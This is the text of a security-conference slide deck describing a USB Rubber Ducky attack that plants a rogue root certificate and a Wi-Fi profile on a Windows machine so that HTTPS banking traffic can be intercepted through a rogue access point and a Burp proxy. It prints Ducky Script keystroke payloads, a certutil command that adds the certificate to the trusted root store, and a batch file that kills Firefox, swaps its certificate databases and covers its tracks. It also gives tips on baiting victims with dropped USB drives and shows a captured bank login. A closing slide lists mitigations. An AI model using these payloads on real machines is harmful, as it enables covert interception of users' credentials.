USB Attack to Decrypt Wi-Fi Communications

Presented by: Jeremy Dorrough

Disclaimer

Opinions expressed in this presentation are my own. I am speaking for myself, not Genworth, nor anyone else.



Image Source: iwishisaidthat.com

About Me

- 10+ years in IT Security industry
- Worked in defense, utility & financial sectors
- Currently a Network Security Engineer at Genworth
- I crash cars for fun







Presentation Outline

- ✓ USB Rubber Ducky
- ✓ How the Attack Works
- ✓ Keyboard Payload
- ✓ Mass Storage/Keyboard Payload
- ✓ Demo
- ✓ Questions

USB Rubber Ducky



Image Source: http://hakshop.myshopify.com/

Firmware Options

- Duck
 - Keyboard Input
- FAT Duck
 - Mass Storage Device
- Detour Duck
 - Multiple Payloads
- Twin Duck

– Both Keyboard and Mass Storage Device



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https://github.com/adamcaudill/Psychson

hison 2251-03 (2303) C	Custom Firmware & Existing Fi	rmware Patches (BadUSB)	<> Code		
① 15 commits	P 1 branch	S 1 release	Contributors	① Issues	5	62
🗘 👂 branch: master 👻	Psychson / +			:≣ ĵ¹) Pull re	equests	(
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tools	Force these tools added		10 months a	ago 🗘 Do	© Oownload ZIP	
juitignore	itignore Adding all the stuffs		10 months a	ago		
LICENSE	Update LICENSE		10 months a	ago		
README.md Update README.md			9 months a	ope		

How The Attack Works



How The Attack Works



How The Attack Works



Social Engineer???

DHS Study Performed by idappcom:

- 60% Plugged in dropped USB device
- 90% Plugged in USB device if case had an official logo



http://www.bloomberg.com/news/articles/2011-06-27/human-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy/linear-errors-fuel-hacking-as-test-shows-nothing-as-test-sho

Foldout USB Flash Drive (512MB)

Return to Search Results Foldout USB Flash Drive (512MB)

Product Images & Colors





Showing 1 - 5 of 5



Item# Q6996

NO SAMPLE

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Take the **NEXT STEP**:



ORDER NOW GET QUOTE

Need Help? Call 866-312-5646 for personal assistance.

Image Source: www.qualitylogoproducts.com

The Cat and Mouse Game

- Anti-Virus
- Web filters/Proxy
- FTP whitelist
- HTTP Strict Transport Security (HSTS)



Setup Rogue AP

- Hostapd
- dnsmasq
- Iptables
- Alternatively use mana-toolkit

Setup MITM Listener

- Configure a proxy of your choice
- Burpsuite, Squid, SSLStrip, Mallory, etc.
- Export the certificate
- Convert the certificate to base64 encoding

-----BEGIN CERTIFICATE-----MIICxDCCAi2gAwIBAgIEVOdW+zANBgkqhkiG9w0BAQUFADCBijEUMBIGA1UEBhML UG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2InZ2VyMRQwEgYDVQQHEwtQb3J0 U3dpZ2dlcjEUMBIGA1()gQWBBTSJrL4vz7JJPJ67CNmrwAnfuTs0zANBgkqhkiG9w0B AQUFAAOBgQCBMulw4WP++I76bfvXQ4RAgNo0DYiasfw4SniawhnfpDE4spV1vjzf IbQQVcetDdnCvSB6YVE0Rv3HQbTZE5r170dOvI4o6Yr3wgFF9sUUqQq+M/Z4wRgg 80JPgC8PXCmkeIAO166m4w7h3DlnQj1cGNdQr5AmMksvEmDvioTz0A== -----END CERTIFICATE-----

Burpsuite Proxy Settings

Farget Proxy	Spider S	canner Intrude	r Repeater	Sequencer	Decoder	Comparer	Extender	Options	Alerts
ntercept HTTP	history W	ebSockets histor	y Options						
Proxy List	teners								
Burp Proxy	uses listene	rs to receive inco	ming HTTP re	quests from y	our browse	er. You will ne	eed to config	ure your b	rowser
server.				COLOR NONE	Cer grand		200.000.000		
Add	Running	Interface	Invisible	Redirect		Certificat	e		
E dit.	2	*:8080	Ø			Per-host			
Edit									
Remove	1								
								_	
Each installa	ation of Burp tools or an) generates its o other installation	wn CA certifica of Burp	te that Proxy	listeners ca	an use when	negotiating	SSL conne	ctions.
and in ease	coole of all		er Barbi						
CA certific	ate								

Payload Summary

- 1. Bypass UAC and open CMD.exe
- 2. Create a new .cer file from keyboard input
- 3. Add cert.cer to trusted root using certutil

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- 4. Create a wireless profile
- 5. Connect to wireless profile
- 6. Clean up

Ducky Script API

- DELAY [time in milliseconds]
- STRING [standard keyboard entry]
- ENTER [Enter key]
- GUI [Windows key]
- REM [will not be processed]

github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript

Bypass UAC cmd.exe

DELAY 10000 GUI r DELAY 200 STRING powershell Start-Process cmd -Verb runAs



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Image Source: technet.microsoft.com

Code Used from Darren Kitchen's UAC bypass

Create Base64 Certificate

STRING copy con cert.cer

ENTER

STRING -----BEGIN CERTIFICATE-----

ENTER

STRING MIICxDCCAi2gAwIBAgIEVOdW+zANBgkUMBIGA1UEBhML ENTER

STRING UG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2EwtQb3J0 (...)

You Trust Me....Right?

STRING certutil -addstore -f -enterprise -user root cert.cer



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Image Source: diariodigitalcolombiano.com

...Now Tell Me Your Secrets

- Echo xml network profile to a file
- Using xml file, create and connect to new Wireless profile

Cover your tracks

- Delete xml file
- Delete rouge certificate









All Your Bank Are Belong To Us

Tar	get Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Option	s Alerts	1	
Inte	rcept HTTP	history	WebSocke	ets history	Options								
Filter:	Hiding CSS	, image a	nd general	binary cont	ent.								
# 1	Host				Method	URL	and the second		Params	Edited	Status	Length	M
144	nttps://oni	ine.weiist	argo.com		GET	/das/cgi-b	in/session.c	gr/screen	3	0	302	715	HI
136	https://onl	ine.wellsf	argo.com		GET	/das/com	non/scripts/	/wibcommo			200	1068	SC
135	https://onl	ine.wellsf	argo.com		POST	/signon	1000		I	0	200	3767	HT
132 https://www.wellsfargo.com POST			POST	/tas			Ø		200	129			
123 https://www.wellsfargo.com POS				POST	/tas			0	E.	200	129		
94 https://static.wellsfargo.com GE			GET	/tracking/t	oppages/ut	ag. 2. js?utv	Ø		200	1367	SC		
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	1.11		-		CET	licialabal	homo io		127	127	200	104504	

Raw Params Headers Hex

POST request to /signon

Туре	Name	Value
Cookie	vlst	F95F61F578D3AB82
Cookie	OB SO ORIGIN	source=homepage
Cookie	wfacookie	11201502260648201707957568
Cookie	TS01b92b99	0135157aa8dc81960a070f3c18d6f61ca8f3009dbc8f8028df23e8dd79a1330f724b7024d318c
Cookie	utag main	v id:014bc65c4b58000fe01448f7ec5902042001b00900b5d\$ sn:1\$ ss:1\$ pn:1;exp-session
Body	destination	AccountSummary
Body	userid	fakeuser
Body	password	fakepassword

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Internet Explorer

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https://www.wellsfargo.com/	General Details Certification Path	🗕 🗕 🖓 😽 🗙 🔡 G
File Edit View Favorites Tools Help Help Help Help Help Help Help Favorites Help Help Help Help Help Favorites Help Help Help Help Help Wells Fargo Personal Business Ban	Certificate Information This certificate is intended for the following purpose(s):	
WELLS FARGO	• Ensures the identity of a remote computer	cations Español Search
Banking Loans and Credit	Issued to: www.wellsfargo.com	
O View Your Accounts Account Summary Username fakeuser	Issued by: PortSwigger CA Valid from 2/26/2015 to 2/15/2035	Everyday C
Password Go <u>Username / Password Help</u>	Install Certificate Issuer Statement	Open a new checking ad and get easy access to y
Need online access? <u>Sign Up Now</u> or <u>Take a Tour</u> <u>Privacy, Cookies, and Security</u>	ОК	Start Now

Internet Explorer



Chrome



Chrome



Firefox





This Connection is Untrusted

You have asked Firefox to connect securely to **www.wellsfargo.com**, but we can't co connection is secure.

Normally, when you try to connect securely, sites will present trusted identification to are going to the right place. However, this site's identity can't be verified.

What Should I Do?

If you usually connect to this site without problems, this error could mean that somec impersonate the site, and you shouldn't continue.

Get me out of here!

- Technical Details
- I Understand the Risks

Firefox





Twin Duck Firmware

- Mounts both mass storage and HID keyboard
- Must reflash the USB Rubber Ducky
- Only use if target allows mass storage devices
- Micro SD card not ideal for fast I/O

Create New Firefox Truststore

neral D	ata Choices Network Update Certificates
📵 Cer	rtificate Manager
You	r Certificates People Servers Authorities Others
Y	'ou have certificates on file that identify these certificate authorities:
	Downloading Certificate
	 Do you want to trust "PortSwigger CA" for the following purposes? Trust this CA to identify websites. Trust this CA to identify email users. Trust this CA to identify software developers. Before trusting this CA for any purpose, you should examine its certificate and its policy and procedures (if available). View Examine CA certificate

Create New Firefox Truststore

- Add Trusted CA to fresh build of Firefox
- %APPDATA%\Mozilla\Firefox\Profiles*.default
- Keystore, key3.db
- Truststore, cert8.db



Twin Duck Attack Summary

- 1. Bypass UAC and open CMD.exe
- 2. Create script to identify storage mount
- 3. Create vbs script to run batch file invisibly
- 4. Run batch file
 - Adds cert to Windows Trusted Root
 - Overwrites Firefox cert8.db and key3.db files

- Creates wireless profile
- Connects to wireless profile

Trusted-cert.bat

- taskkill /IM Firefox.exe /F
- copy /Y %DUCKYdrive%\cert.cer %USERPROFILE%\cert.cer
- certutil -addstore -f -enterprise -user root cert.cer
- del cert.cer
- cd %APPDATA%\Mozilla\Firefox\Profiles*.default
- copy /Y cert8.db cert8.db.original
- copy /Y %DUCKYdrive%\cert8.db cert8.db
- copy /Y key3.db key3.db.original
- copy /Y %DUCKYdrive%\key3.db key3.db

E:\DUCKY

Name	
0	a.xml
	cert.cer
	cert8.db
	key3.db
	trusted-cert.bat

Size Type
 588 bytes XML document
 712 bytes X.509 Certificate
 393.2 kB unknown
 16.4 kB unknown
 829 bytes plain text document

Internet Explorer

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https://www.wellsfargo.com/	General Details Certification Path	🗕 🗧 😽 🗙 🛃 G		
File Edit View Favorites Tools Help	Certificate Information			
Wells Fargo - Personal & Business Ban	This certificate is intended for the following purpose(s): • Ensures the identity of a remote computer			
WELLS		cations Español Search		
FARGO		Financial Education		
Banking Loans and Credit	Issued to: www.wellsfargo.com			
O View Your Accounts Account Summary Username fakeuser	Issued by: PortSwigger CA Valid from 2/ 26/ 2015 to 2/ 15/ 2035	Evervday C		
Password Go Username / Password Help	Install Certificate Issuer Statement	Open a new checking ad and get easy access to y		
Need online access? <u>Sign Up Now</u> or <u>Take a Tour</u> <u>Privacy, Cookies, and Security</u>	ОК	Start Now		
	and the second			

Internet Explorer



Chrome



Chrome



Firefox



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Firefox



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Mitigating Controls

- Wireless Intrusion Prevention System (WIPS)
- Disable mass storage devices
- Disable USB ports
- User training to encourage responsible USB usage
- Multifactor Authentication
- Cloud Proxy Agent



Demonstration

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Things to Consider

- Use proxy settings pointed to cloud listener
- Increasing the authenticity
- Syntax changes for different OS
- New payloads are frequently released on HAK5 forums

Questions

Email: jdorrough3@yahoo.com